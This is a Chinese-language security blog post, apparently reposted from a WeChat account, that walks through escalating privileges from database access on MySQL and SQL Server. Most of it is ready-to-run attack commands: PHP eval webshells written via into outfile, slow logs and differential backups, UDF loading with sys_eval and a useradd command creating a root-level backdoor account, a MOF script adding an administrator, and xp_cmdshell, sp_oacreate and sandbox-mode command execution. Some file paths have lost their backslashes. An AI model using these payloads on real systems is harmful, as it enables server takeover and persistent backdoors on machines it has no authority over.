数据库提权的多种姿势

admin 2025年2月25日11:09:24评论11 views字数 8414阅读28分2秒阅读模式

mysql提权

into outfile直接写入木马

利用条件:1.知道网站的绝对路径2.secure_file_priv不能为null3.具有写入文件的权限

select "<?php eval($_POST['cmd']);?>" into outfile "D:phpstudy_proWWWshell.php"

利用日志文件写入木马

1.开启日志功能:set global slow_query_log=1;

2.设置日志存储路径:SET GLOBAL slow_query_log_file='D:phpstudy_proWWWshell.php';

MySQL UDF提权

UDF介绍

MySQL的内置函数虽然丰富,但毕竟不能满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,幸运的是,MySQL给使用者提供了添加新函数的机制,这种使用者自行添加的MySQL函数就称为UDF(User Define Function)。UDF机制能够起作用,必须使用C或者C++编写函数,你的系统必须支持动态加载,,mysql采用动态链接库加载自定义函数。

udf就是为了让我们开发者能够自己写方便自己函数,它有3种返回值,这三种分别是STRING,INTEGER,REAL

STRING        字符型INTEGER       整型REAL          实数型

如下面的代码:

#include <mysql.h> extern "C" long long testadd(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error){int a = *((long long *)args->args[0]);int b = *((long long *)args->args[1]);return a + b;}extern "C" my_bool testadd_init(UDF_INIT *initid, UDF_ARGS *args, char *message){return 0;}

UDF编写详解

用户主函数

我们假设需要定义的函数名字为为xxx, 则我们的函数需要有参数列表和返回值, 这不能由用户随意指定, 是有固定规则的

返回值是STRING 类型或DECIMAL类型

char *xxx(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error);

返回值是INTEGER类型

long long xxx(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);

返回值是REAL类型

double xxx(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);

系统内置函数

在完成了用户定义的主函数以后, 还需要编写配套的系统内置函数

xxx_init函数

这个函数会在自定义的xxx函数调用前被调用, 进行基本的初始化工作, 其完整定义如下,该函数的主要功能一般是分配空间, 函数参数检查的等. 如果不需要做任何操作, 直接返回0即可.

my_bool xxx_init(UDF_INIT *initid, UDF_ARGS *args, char *message)

返回值: 1代表出错, 可以在message中给出错误信息并且返回给客户端, 0表示正确执行

xxx_deinit

该函数用于释放申请的空间, 其完整定义如下,该函数的功能主要是释放资源, 如果在xxx_init中申请了内存, 可以在此处释放, 该函数在用户函数xxx执行以后执行

void xxx_deinit(UDF_INIT *initid);

执行流程

调用xxx_init来初始化, 并申请内存空间用于存储结果

调用xxx

调用xxx_deinit释放空间

运行自己的UDF

编写C/C++代码

#include <mysql.h> extern "C" long long testadd(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error){int a = *((long long *)args->args[0]);int b = *((long long *)args->args[1]);return a + b;}extern "C" my_bool testadd_init(UDF_INIT *initid, UDF_ARGS *args, char *message){return 0;}

生成动态链接库

动态链接提供了一种方法,使进程可以调用不属于其可执行代码的函数。函数的可执行代码位于一个 DLL 文件中,该 DLL 包含一个或多个已被编译、链接并与使用它们的进程分开存储的函数。DLL 还有助于共享数据和资源。多个应用程序可同时访问内存中单个 DLL 副本的内容。windows是dll文件,linux是so文件

windows使用

使用vs创建dll文件即可

linux

g++ -shared -fPIC -I /usr/include/mysql -o udf.so udf.cpp

上传到目标机器

1、mysql<5.0,路径随意 3、5.0<=MYsql<5.1, 放置系统目录(system32) 2、mysql>5.1,udf.dll文件必须放置在mysql安装目录的libplugin文件夹下,(libplugin目录默认不存在,需自行创建)

创建函数

函数名字必须和源码中一样

create function 函数名 returns string soname "udf.dll";

查询是否导入成功

select * from mysql.func;

执行函数

select  函数名(参数);

提权准备

连接mysql

连接mysql的方式很多,比如拿到了webshell,或者通过暴力破解的方式,udf提权第一步就是先连接mysql

查询运行权限

为什么要查询运行权限呢?因为我们udf本质上不是提权,是通过当前mysql的运行权限去执行系统命令,如果mysql运行权限太低的话就无法执行。

select users(); 错误的

数据库提权的多种姿势

查询软件版本

为什么要查询版本呢?因为不同版本的动态链接文件导入的地方不同

select version();

数据库提权的多种姿势

查询系统位数

为什么要查询系统位数呢?不同的系统和位数有不同的动态连接文件

show variables like '%compile%';

数据库提权的多种姿势

查询读写权限

为什么要查询读写权限呢?因为我们要将动态连接文件导入到相应的目录里

show global variables like 'secure%';

secure_file_priv 是用来限制 load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限,一般三种情况

show global variables like 'secure%';  查询 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

如果想要更改就要改my.cnf文件中配置 secure_file_priv=''

数据库提权的多种姿势

查看plugin目录位置

为什么要查询plugin?因为我们要将动态连接文件导入到此目录

show variables like 'plugin%';

数据库提权的多种姿势

生成动态连接文件

不用我们生成了,在sqlmap中已经存在,或者msf中也存在,我们只需要用就行了,不需要在去写源代码。

存在位置为,其中分为windows 和linux 版本 分别有32位和64位

sqlmap/data/udf/mysql metasploit-framework/data/exploits/mysql/

sqlmap

数据库提权的多种姿势

sqlmap中的是通过加密的,需要用解密脚本解密,解密脚本在 /sqlmap/extra/cloak/cloak.py

用法如下:

python cloak.py -d -i lib_mysqludf_sys.so_(sqlmap中的加密动态连接文件)

MSF

数据库提权的多种姿势

提权步骤

建表

创建一张临时表用来存放DLL/OS文件的16进制内容

CREATE TABLE temp_udf (udf blob);

数据库提权的多种姿势

插入

其中 binaryCode为已经转换好的十六进制内容,binaryCode前加0X

INSERT into temp_udf values (CONVERT($binaryCode,CHAR));

转化成16进制方法很多,我么借助mysql

select hex(load_file('C:/udf.dll')) into dumpfile 'c:/udf.txt'

数据库提权的多种姿势

导出

选择对应的地方进行导出

SELECT udf FROM temp_udf INTO DUMPFILE "/usr/lib64/mysql/plugin/udf.os"

创建函数

create function sys_eval returns string soname 'udf.os';

数据库提权的多种姿势

执行

select sys_eval("whoami");

数据库提权的多种姿势

创建后门

select sys_eval("useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test");

数据库提权的多种姿势

MySQL-MOF提权

MOF介绍

mof是windows系统的一个“托管对象格式”文件(位置:c:/windows/system32/wbem/mof/),其作用是每隔五秒就会去监控进程创建和死亡mof目录下有两个文件夹(good与bad)。windows server 2003及以下系统每5秒会执行一次mof目录下的文件,执行成功会移动到good文件夹,执行失败移动到bad文件夹。

MOF提权原理

mof提权其实就是利用mysql 写入mof文件,通过mof文件中的vbs脚本以system权限执行系统命令

使用条件如下:

1、mysql是高权限运行

2、mysql需要具有导入导出功能

2、只能用于2003以下的系统(2003以上的系统不在使用该目录

提权脚本如下:执行一段vbs语言,执行系统命令

#pragma namespace("\\.\root\subscription")instance of __EventFilter as $EventFilter { EventNamespace = "Root\Cimv2"; Name  = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa "Win32_LocalTime" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; };instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user hacker P@ssw0rd /add")nWSH.run("net.exe localgroup administrators hacker /add")"; };instance of __FilterToConsumerBinding { Consumer   = $Consumer; Filter = $EventFilter; };

MOF提权步骤

和UDF提权一样,将文件转成二进制然后利用导出函数,导出到对应的目录,然后等待提权即可

1、创建一个表格

CREATE TABLE temp_mof (mof blob);

2、将二进制数据插入到表格中

INSERT into temp_udf values (CONVERT("a1",CHAR));

如何将我们的文件导出成二进制问价呢?

select hex(load_file('C:/mof.dll')) into dumpfile 'c:/mof.txt'

3、导出到目标目录下

SELECT udf FROM temp_udf INTO DUMPFILE "c:/windows/system32/wbem/mof/wanli.mof"

4、等待片刻后提权成功

SQL Server 提权

SQL Server基础知识

sqlserver的角色分为两种:服务器角色和数据库角色

服务器角色: 服务器角色的拥有者只有登入名,服务器角色是固定的,用户无法创建服务器角色。

数据库提权的多种姿势

数据库角色: 数据库角色的拥有者可以是用户也可以是数据库角色本身,管理员可以创建数据库角色。

数据库提权的多种姿势

在sqlserver中有三种特殊的用户: (1)系统管理员(dba权限),对应服务器角色sysadmin,可以执行sqlserver的任何动作,包括数据库操作,文件管理,命令执行,注册表读取等,为sqlserver最高权限。(2)数据库所有者(dbo权限),对应数据库角色db_owner, 可以执行数据库中技术所有动作,包括文件管理,数据库操作等。(3)public角色是一种特殊的固定角色,数据库的每个合法用户都属于该角色。它为数据库中的用户提供了所有默认权限。

判断当前用户角色(权限): (1)判断是否是sysadmin(dba权限),执行select is_srvrolemember('sysadmin')

(2)判断是否是db_owner(dbo权限),执行select is_member('db_owner')

(3)判断是否是public(普通权限),执行select is_srvrolemember('public')/select is_member('public')

xp_cmdshell提权

xp_cmdshell可以执行系统命令,该组件默认是关闭的,因此需要把它打开。xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。

1、获取xp_cmdshell的状态如果为1就是有该组件

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

数据库提权的多种姿势2、开启xp_cmdshell组件

开启:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

关闭:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

数据库提权的多种姿势3、执行命令

exec master..xp_cmdshell 'ipconfig'

数据库提权的多种姿势

sp_oacreate+sp_oamethod(dba权限)

在xp_cmdshell被删除或不能利用是可以考虑利用sp_oacreate,利用前提需要sqlserver sysadmin账户服务器权限为system(sqlserver2019默认被降权为mssql)。sp_oacreate 是一个存储过程,可以删除、复制、移动文件。还能配合 sp_oamethod 来写文件执行系统命令,也可以写马

1、判断sp_oacreate是否存在,返回1证明存在sp_oacreate

select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'

数据库提权的多种姿势2、开启相关的配置

exec sp_configure 'show advanced options',1;reconfigure; exec sp_configure 'ole automation procedures',1;reconfigure;

数据库提权的多种姿势3、直接执行命令成功

declare @shell int,@exec int,@text int,@str varchar(8000) exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'exec',@exec output,'C:\Windows\System32\cmd.exe /c whoami' exec sp_oamethod @exec, 'StdOut', @text out exec sp_oamethod @text, 'readall', @str out select @str;

数据库提权的多种姿势

沙盒提权(dba权限)

沙盒模式是数据库的一种安全功能。在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。利用前提需要sqlserver sysadmin账户服务器权限为system(sqlserver2019默认被降权为mssql),服务器拥有 jet.oledb.4.0 驱动。局限:(1)Microsoft.jet.oledb.4.0一般在32位操作系统上才可以 (2)Windows 2008以上 默认无 Access 数据库文件, 需要自己上传 sqlserver2015默认禁用Ad Hoc Distributed Queries,需要开启。

-- 开启Ad Hoc Distributed Queriesexec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;-- 关闭Ad Hoc Distributed Queriesexec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;

数据库提权的多种姿势

数据库提权的多种姿势

-- 关闭沙盒模式exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;-- 恢复默认沙盒模式exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',2;

数据库提权的多种姿势

沙盒模式SandBoxMode参数含义(默认是2)0:在任何所有者中禁止启用安全模式1:为仅在允许范围内2:必须在access模式下3:完全开启

-- 查看沙盒模式exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines', 'SandBoxMode'

数据库提权的多种姿势

-- 执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c whoami")')

差异备份写webshell(dbo权限)

dbo和dba都有备份数据库权限,我们可以把数据库备份成可执行脚本文件放到web目录里,获得 webshell。

前提(1)知道网站绝对路径且路径可写(2)利用数据库必须存在备份文件

-- 生成备份文件backup database test to disk = 'C:phpstudy_proWWW1.bak';

数据库提权的多种姿势-- 创建表并写入一句话木马create table test(cmd);Insert into test(cmd)values(0x3c3f70687020406576616c28245f524551554553545b2761275d293b3f3e);

数据库提权的多种姿势-- 将数据库进行差异备份backup database test to disk='C:phpstudy_proWWWshell.php' WITH DIFFERENTIAL,FORMAT;

数据库提权的多种姿势

蚁剑直接连接生成的shell.php

原文始发于微信公众号(心动安全):数据库提权的多种姿势

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月25日11:09:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   数据库提权的多种姿势https://cn-sec.com/archives/3772959.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息